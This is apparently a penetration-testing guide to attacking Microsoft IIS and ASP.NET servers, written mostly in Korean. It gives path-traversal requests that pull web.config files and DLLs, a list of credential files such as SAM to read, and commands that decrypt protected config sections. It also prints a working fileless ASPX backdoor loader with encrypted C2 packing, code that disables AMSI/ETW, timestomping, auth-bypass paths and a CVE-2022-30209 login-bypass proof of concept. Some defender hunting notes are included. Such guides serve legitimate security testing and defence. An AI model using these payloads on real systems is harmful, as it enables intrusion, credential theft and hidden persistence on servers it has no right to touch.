IIS - Internet Information Services

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테스트 실행 파일 확장자:

• asp
• aspx
• config
• php

내부 IP 주소 노출

IIS 서버에서 302 응답을 받는 경우 Host 헤더를 제거하고 HTTP/1.0을 사용해 보세요. 응답의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:

nc -v domain.com 80
openssl s_client -connect domain.com:443

내부 IP를 노출하는 응답:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

.config 파일을 업로드하여 코드를 실행하는 데 사용할 수 있습니다. 한 가지 방법은 파일 끝에 HTML 주석 안에 코드를 추가하는 것입니다: 예제 다운로드

이 취약점을 악용하는 방법과 추가 기술은 여기에서 확인하세요.

IIS Discovery Bruteforce

제가 만든 리스트를 다운로드하세요:

다음 리스트들의 내용을 합쳐 생성되었습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 말고 사용하세요. 필요한 확장자는 이미 포함되어 있습니다.

Path Traversal

Leaking source code

전체 자세한 설명은 다음을 확인하세요: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

요약하자면, 애플리케이션의 폴더 안에는 “assemblyIdentity” 파일과 “namespaces“를 참조하는 여러 web.config 파일이 있습니다. 이 정보를 통해 실행 가능한 파일의 위치를 알 수 있고 해당 파일을 다운로드할 수 있습니다.
다운로드한 Dlls에서 새로운 namespaces를 찾아 접근을 시도하고 web.config 파일을 얻어 더 많은 namespaces와 assemblyIdentity를 찾을 수 있습니다.
또한 connectionstrings.config와 global.asax 파일에는 흥미로운 정보가 포함되어 있을 수 있습니다.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through “assemblyIdentity” XML tags.

바이너리 파일 탐색

아래에 web.config 파일에 접근하는 예시가 나와 있습니다:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다음과 같은 다양한 설정 및 종속성을 드러냅니다:

• EntityFramework 버전
• AppSettings (웹페이지, 클라이언트 유효성 검사 및 JavaScript용)
• System.web의 인증 및 런타임 구성
• System.webServer 모듈 설정
• Runtime의 어셈블리 바인딩(예: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc 등 여러 라이브러리)

이러한 설정은 /bin/WebGrease.dll 같은 특정 파일들이 애플리케이션의 /bin 폴더에 위치하고 있음을 나타냅니다.

Root Directory Files

루트 디렉터리에서 발견되는 파일들, 예를 들어 /global.asax 및 /connectionstrings.config(민감한 비밀번호를 포함하고 있음)는 애플리케이션의 구성 및 동작에 필수적입니다.

Namespaces and Web.Config

MVC 애플리케이션은 각 파일에서 반복 선언을 피하기 위해 특정 네임스페이스용 추가 web.config files를 정의하기도 하며, 다른 web.config를 다운로드하도록 한 요청에서 그 점이 드러납니다:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL 다운로드

커스텀 네임스페이스의 언급은 /bin 디렉토리에 WebApplication1라는 이름의 DLL이 존재함을 암시합니다. 이어서 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이는 /bin 디렉터리에 System.Web.Mvc.dll 및 System.Web.Optimization.dll 같은 다른 필수 DLL들이 존재함을 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 임포트하는 상황에서는, 공격자가 /area-name/Views/ 같은 예측 가능한 경로에 다른 web.config 파일들이 존재하며 그 안에 특정 구성과 /bin 폴더의 다른 DLL들을 참조하는 항목들이 포함되어 있음을 유추할 수 있습니다. 예를 들어 /Minded/Views/web.config에 대한 요청은 구성과 네임스페이스를 드러내어 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 나타낼 수 있습니다.

일반 파일

출처: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

다음과 같은 오류가 보이면:

It means that the server didn’t receive the correct domain name inside the Host header.
웹 서버가 Host header에 올바른 도메인 이름을 받지 못했다는 의미입니다.
In order to access the web page you could take a look to the served SSL Certificate and maybe you can find the domain/subdomain name in there. If it isn’t there you may need to brute force VHosts until you find the correct one.
웹 페이지에 접근하려면 제공되는 SSL Certificate를 확인하여 도메인/서브도메인 이름을 찾을 수 있는지 확인하세요. 존재하지 않으면 올바른 항목을 찾을 때까지 brute force VHosts를 시도해야 할 수 있습니다.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Two common patterns to protect secrets on IIS-hosted .NET apps are:
IIS에 호스팅된 .NET 앱에서 비밀을 보호하기 위한 두 가지 일반적인 패턴은 다음과 같습니다:

• ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like .
• ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config의 와 같은 섹션에 사용됨.
• ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
• ASP.NET Core Data Protection 키 링(로컬에 저장됨) — 애플리케이션 비밀과 쿠키를 보호하는 데 사용됨.

If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
웹 서버에 파일 시스템 또는 대화형 액세스가 있는 경우, 동일 위치에 있는 키로 복호화가 가능한 경우가 많습니다.

• ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
• ASP.NET (Full Framework) – 보호된 구성 섹션을 aspnet_regiis로 복호화:

# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"

• ASP.NET Core – 로컬에 저장된 Data Protection 키 링(XML/JSON 파일)을 다음과 같은 위치에서 찾아보세요:
• %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
• HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
• App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

키 링이 확보되면, 앱의 아이덴티티로 실행되는 운영자는 동일한 purposes로 IDataProtector를 인스턴스화하고 저장된 비밀을 unprotect할 수 있습니다. 키 링을 앱 파일과 함께 저장하는 잘못된 구성은 호스트가 침해된 후 오프라인 복호화를 매우 쉽게 만듭니다.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR toolkit은 w3wp.exe 내부에서 완전히 동작하는 fileless IIS persistence 및 post‑exploitation에 대한 성숙한 패턴을 제시합니다. 핵심 아이디어는 커스텀 tradecraft 및 탐지/헌팅에서 폭넓게 재사용 가능합니다.

Key building blocks

• ASPX bootstrapper hosting an embedded payload: 단일 .aspx 페이지(예: OutlookEN.aspx)가 Base64‑encoded, optionally Gzip‑compressed .NET DLL을 포함합니다. 트리거 요청이 들어오면 이를 디코드하고 압축을 풀어 리플렉티브 방식으로 현재 AppDomain에 로드한 뒤 메인 진입점(예: ServerRun.Run())을 호출합니다.
• Cookie‑scoped, encrypted C2 with multi‑stage packing: 작업/결과는 Gzip → AES‑ECB/PKCS7 → Base64로 래핑되어 겉보기에는 합법적인 cookie‑heavy 요청을 통해 전송됩니다; 운영자는 청크 분할을 위해 안정적인 구분자(예: “STAR”)를 사용했습니다.
• Reflective .NET execution: 임의의 managed assemblies를 Base64로 받아 Assembly.Load(byte[])로 로드하고 디스크를 건드리지 않고 빠른 모듈 교체를 위해 오퍼레이터 인자를 전달합니다.
• Operating in precompiled ASP.NET sites: 사이트가 precompiled되어 있어도 보조 쉘/백도어를 추가/관리할 수 있습니다(예: dropper가 dynamic pages/handlers를 추가하거나 config handlers를 활용). 이는 bypassPrecompiledApp, addshell, listshell, removeshell 같은 명령으로 노출됩니다.
• Timestomping/metadata forgery: changeLastModified 액션을 노출하고 배포 시 timestomp(미래 컴파일 타임스탬프 포함)를 수행하여 DFIR을 방해합니다.
• Optional AMSI/ETW pre‑disable for loaders: 2단계 로더는 Assembly.Load를 호출하기 전에 AMSI와 ETW를 비활성화하여 메모리 내 페이로드에 대한 검사를 줄일 수 있습니다.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

패킹/암호화 헬퍼 (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 흐름 및 명령 표면

• Session bootstrap와 tasking은 정상적인 웹 활동에 섞이도록 cookies를 통해 전달된다.
• 실전에서 관찰된 명령에는 다음이 포함된다: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 그리고 메모리 내 .NET 실행을 위한 동적 실행 프리미티브 code_self, code_pid, run_code.

Timestomping 유틸리티

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load 전에 AMSI/ETW를 인라인으로 비활성화 (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

다음에서 AMSI/ETW bypass techniques를 참조하세요: windows-hardening/av-bypass.md

Hunting notes (defenders)

• 단일의 이상한 ASPX 페이지, 매우 긴 Base64/Gzip 블롭; 쿠키가 많은 POST 요청.
• w3wp.exe 내부의 unbacked managed modules; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run 같은 문자열.
• 트래픽에서 “STAR” 같은 반복 구분자; ASPX/assemblies에 불일치하거나 심지어 미래 시점의 타임스탬프.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

많은 ASP.NET 앱이 Telerik UI for ASP.NET AJAX를 임베드하고 인증 없이 접근 가능한 핸들러 Telerik.Web.UI.WebResource.axd를 노출합니다. Image Editor 캐시 엔드포인트(type=iec)에 접근 가능하면, 파라미터 dkey=1 및 prtype가 unsafe reflection을 활성화하여 인증 전(pre‑auth) 어떤 public parameterless 생성자도 실행할 수 있게 합니다. 이는 범용 DoS 프리미티브를 제공하고, AppDomain.AssemblyResolve 핸들러가 안전하지 않은 앱에서는 pre‑auth RCE로 상승할 수 있습니다.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

이 기술을 사용하면(심지어 Basic Authentication이 필요한 경우에도) 발견한 각 폴더 내부의 폴더와 파일을 열거해볼 수 있습니다.\ 이 기법의 주요 제한은 서버가 취약해도 각 파일/폴더 이름의 처음 최대 6글자와 확장자의 처음 3글자까지만 찾을 수 있다는 점입니다.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

발견한 파일의 최종 이름을 찾는 좋은 아이디어는 LLMs에 옵션을 요청하는 것입니다. 예시는 스크립트 https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py처럼 동작합니다.

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

이 취약점과 앞의 방법을 조합해 새로운 폴더를 찾고 인증을 우회할 수 있습니다.

ASP.NET Trace.AXD enabled debugging

ASP.NET에는 디버깅 모드가 있으며 해당 파일은 trace.axd입니다.

애플리케이션에 대한 일정 기간 동안의 모든 요청을 매우 상세하게 기록합니다.

이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보 및 잠재적으로 사용자 이름과 비밀번호까지 포함됩니다.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie

ASPXAUTH는 다음 정보를 사용합니다:

• validationKey (string): hex-encoded key to use for signature validation.
• decryptionMethod (string): (default “AES”).
• decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
• decryptionKey (string): hex-encoded key to use for decryption.

하지만 일부는 이 매개변수들의 기본값을 사용하고 쿠키 값으로 사용자 이메일을 사용할 수 있습니다. 따라서 동일한 플랫폼을 사용하며 ASPXAUTH 쿠키를 사용하는 다른 웹을 찾고, 공격 대상 서버에서 가장하고 싶은 사용자 이메일로 계정을 생성하면 두 번째 서버의 쿠키를 첫 번째 서버에서 재사용해 사용자를 가장할 수 있습니다.\ 이 공격은 이 writeup에서 성공했습니다.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: 코드의 버그로 인해 사용자가 제공한 비밀번호를 제대로 검사하지 않았습니다. 따라서 비밀번호 해시가 캐시에 이미 존재하는 키와 일치하는 공격자는 해당 사용자로 로그인할 수 있습니다.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

참고 자료

• Unit 42 – Phantom Taurus: 새로운 중국 Nexus APT 및 NET-STAR Malware Suite의 발견
• AMSI/ETW bypass 배경 (HackTricks)

Tip

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